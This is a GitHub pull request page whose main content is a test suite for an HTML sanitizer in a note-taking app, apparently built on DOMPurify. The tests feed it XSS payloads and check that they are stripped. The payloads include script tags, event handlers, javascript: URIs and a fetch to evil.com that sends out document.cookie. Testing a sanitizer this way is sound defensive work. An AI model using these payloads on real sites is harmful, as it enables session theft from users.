-
-
Notifications
You must be signed in to change notification settings - Fork 2.4k
Feat/fun take1 #9296
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
perfectra1n
wants to merge
11
commits into
main
Choose a base branch
from
feat/fun-take1
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Feat/fun take1 #9296
Changes from 3 commits
Commits
Show all changes
11 commits
Select commit
Hold shift + click to select a range
f94f916
feat(security): implement a ton of security guardrails, as well as co…
perfectra1n 43963b7
feat(security): require scripting to be enabled for sharing?
perfectra1n 8ce969c
feat(dev): merge main into feature branch
perfectra1n 732d128
Merge branch 'main' into feat/fun-take1
perfectra1n 4721a60
Merge remote-tracking branch 'origin/main' into feat/fun-take1
perfectra1n 6593470
Merge origin/main into feat/fun-take1
perfectra1n 3c4ec1e
fix(types): resolve issues with typecheck
perfectra1n 220e15e
fix(types): oops accidentally slapped a period there
perfectra1n a92561f
fix(tests): resolve issue with failing image test
perfectra1n e9795da
feat(sanitization): use DOMPurify's included tags
perfectra1n 554ada6
fix(client): resolve issue with sanitized HTML in client
perfectra1n File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,236 @@ | ||
| import { describe, expect, it } from "vitest"; | ||
| import { sanitizeNoteContentHtml } from "./sanitize_content"; | ||
|
|
||
| describe("sanitizeNoteContentHtml", () => { | ||
| // --- Preserves legitimate CKEditor content --- | ||
|
|
||
| it("preserves basic rich text formatting", () => { | ||
| const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>'; | ||
| expect(sanitizeNoteContentHtml(html)).toBe(html); | ||
| }); | ||
|
|
||
| it("preserves headings", () => { | ||
| const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>'; | ||
| expect(sanitizeNoteContentHtml(html)).toBe(html); | ||
| }); | ||
|
|
||
| it("preserves links with href", () => { | ||
| const html = '<a href="https://example.com">Link</a>'; | ||
| expect(sanitizeNoteContentHtml(html)).toBe(html); | ||
| }); | ||
|
|
||
| it("preserves internal note links with data attributes", () => { | ||
| const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).toContain('class="reference-link"'); | ||
| expect(result).toContain('href="#root/abc123"'); | ||
| expect(result).toContain('data-note-path="root/abc123"'); | ||
| expect(result).toContain(">My Note</a>"); | ||
| }); | ||
|
|
||
| it("preserves images with src", () => { | ||
| const html = '<img src="api/images/abc123/image.png" alt="test">'; | ||
| expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"'); | ||
| }); | ||
|
|
||
| it("preserves tables", () => { | ||
| const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>'; | ||
| expect(sanitizeNoteContentHtml(html)).toBe(html); | ||
| }); | ||
|
|
||
| it("preserves code blocks", () => { | ||
| const html = '<pre><code class="language-javascript">const x = 1;</code></pre>'; | ||
| expect(sanitizeNoteContentHtml(html)).toBe(html); | ||
| }); | ||
|
|
||
| it("preserves include-note sections with data-note-id", () => { | ||
| const html = '<section class="include-note" data-note-id="abc123"> </section>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).toContain('class="include-note"'); | ||
| expect(result).toContain('data-note-id="abc123"'); | ||
| expect(result).toContain(" </section>"); | ||
| }); | ||
|
|
||
| it("preserves figure and figcaption", () => { | ||
| const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>'; | ||
| expect(sanitizeNoteContentHtml(html)).toContain("<figure>"); | ||
| expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>"); | ||
| }); | ||
|
|
||
| it("preserves task list checkboxes", () => { | ||
| const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).toContain('type="checkbox"'); | ||
| expect(result).toContain("checked"); | ||
| }); | ||
|
|
||
| it("preserves inline styles for colors", () => { | ||
| const html = '<span style="color: red;">Red text</span>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).toContain("style"); | ||
| expect(result).toContain("color"); | ||
| }); | ||
|
|
||
| it("preserves data-* attributes", () => { | ||
| const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).toContain('data-custom-attr="value"'); | ||
| expect(result).toContain('data-note-id="abc"'); | ||
| }); | ||
|
|
||
| // --- Blocks XSS vectors --- | ||
|
|
||
| it("strips script tags", () => { | ||
| const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("<script"); | ||
| expect(result).not.toContain("alert"); | ||
| expect(result).toContain("<p>Hello</p>"); | ||
| expect(result).toContain("<p>World</p>"); | ||
| }); | ||
|
|
||
| it("strips onerror event handlers on images", () => { | ||
| const html = '<img src="x" onerror="alert(1)">'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("onerror"); | ||
| expect(result).not.toContain("alert"); | ||
| }); | ||
|
|
||
| it("strips onclick event handlers", () => { | ||
| const html = '<div onclick="alert(1)">Click me</div>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("onclick"); | ||
| expect(result).not.toContain("alert"); | ||
| }); | ||
|
|
||
| it("strips onload event handlers", () => { | ||
| const html = '<img src="x" onload="alert(1)">'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("onload"); | ||
| expect(result).not.toContain("alert"); | ||
| }); | ||
|
|
||
| it("strips onmouseover event handlers", () => { | ||
| const html = '<span onmouseover="alert(1)">Hover</span>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("onmouseover"); | ||
| expect(result).not.toContain("alert"); | ||
| }); | ||
|
|
||
| it("strips onfocus event handlers", () => { | ||
| const html = '<input onfocus="alert(1)" autofocus>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("onfocus"); | ||
| expect(result).not.toContain("alert"); | ||
| }); | ||
|
|
||
| it("strips javascript: URIs in href", () => { | ||
| const html = '<a href="javascript:alert(1)">Click</a>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("javascript:"); | ||
| }); | ||
|
|
||
| it("strips javascript: URIs in img src", () => { | ||
| const html = '<img src="javascript:alert(1)">'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("javascript:"); | ||
| }); | ||
|
|
||
| it("strips iframe tags", () => { | ||
| const html = '<iframe src="https://evil.com"></iframe>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("<iframe"); | ||
| }); | ||
|
|
||
| it("strips object tags", () => { | ||
| const html = '<object data="evil.swf"></object>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("<object"); | ||
| }); | ||
|
|
||
| it("strips embed tags", () => { | ||
| const html = '<embed src="evil.swf">'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("<embed"); | ||
| }); | ||
|
|
||
| it("strips style tags", () => { | ||
| const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("<style"); | ||
| expect(result).toContain("<p>Text</p>"); | ||
| }); | ||
|
|
||
| it("strips SVG with embedded script", () => { | ||
| const html = '<svg><script>alert(1)</script></svg>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("<script"); | ||
| expect(result).not.toContain("alert"); | ||
| }); | ||
|
|
||
| it("strips meta tags", () => { | ||
| const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("<meta"); | ||
| }); | ||
|
|
||
| it("strips base tags", () => { | ||
| const html = '<base href="https://evil.com/"><p>Text</p>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("<base"); | ||
| }); | ||
|
|
||
| it("strips link tags", () => { | ||
| const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("<link"); | ||
| }); | ||
|
|
||
| // --- Edge cases --- | ||
|
|
||
| it("handles empty string", () => { | ||
| expect(sanitizeNoteContentHtml("")).toBe(""); | ||
| }); | ||
|
|
||
| it("handles null-like falsy values", () => { | ||
| expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null); | ||
| expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined); | ||
| }); | ||
|
|
||
| it("handles nested XSS attempts", () => { | ||
| const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("onerror"); | ||
| expect(result).not.toContain("fetch"); | ||
| expect(result).not.toContain("cookie"); | ||
| expect(result).toContain("Safe"); | ||
| expect(result).toContain("Also safe"); | ||
| }); | ||
|
|
||
| it("handles case-varied event handlers", () => { | ||
| const html = '<img src="x" ONERROR="alert(1)">'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result.toLowerCase()).not.toContain("onerror"); | ||
| }); | ||
|
|
||
| it("strips dangerous data: URI on anchor elements", () => { | ||
| const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| // DOMPurify should either strip the href or remove the dangerous content | ||
| expect(result).not.toContain("<script"); | ||
| expect(result).not.toContain("alert(1)"); | ||
| }); | ||
|
|
||
| it("allows data: URI on image elements", () => { | ||
| const html = '<img src="data:image/png;base64,iVBOR...">'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).toContain("data:image/png"); | ||
| }); | ||
|
|
||
| it("strips template tags which could contain scripts", () => { | ||
| const html = '<template><script>alert(1)</script></template>'; | ||
| const result = sanitizeNoteContentHtml(html); | ||
| expect(result).not.toContain("<script"); | ||
| expect(result).not.toContain("<template"); | ||
| }); | ||
| }); |
Oops, something went wrong.
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The regex for validating
docNameValueallows single quotes ('), but the comment above (lines 75-77) does not list it as an allowed character. This discrepancy can be misleading. For improved security and clarity, it's better to remove the single quote from the character set unless it's explicitly required for a known use case.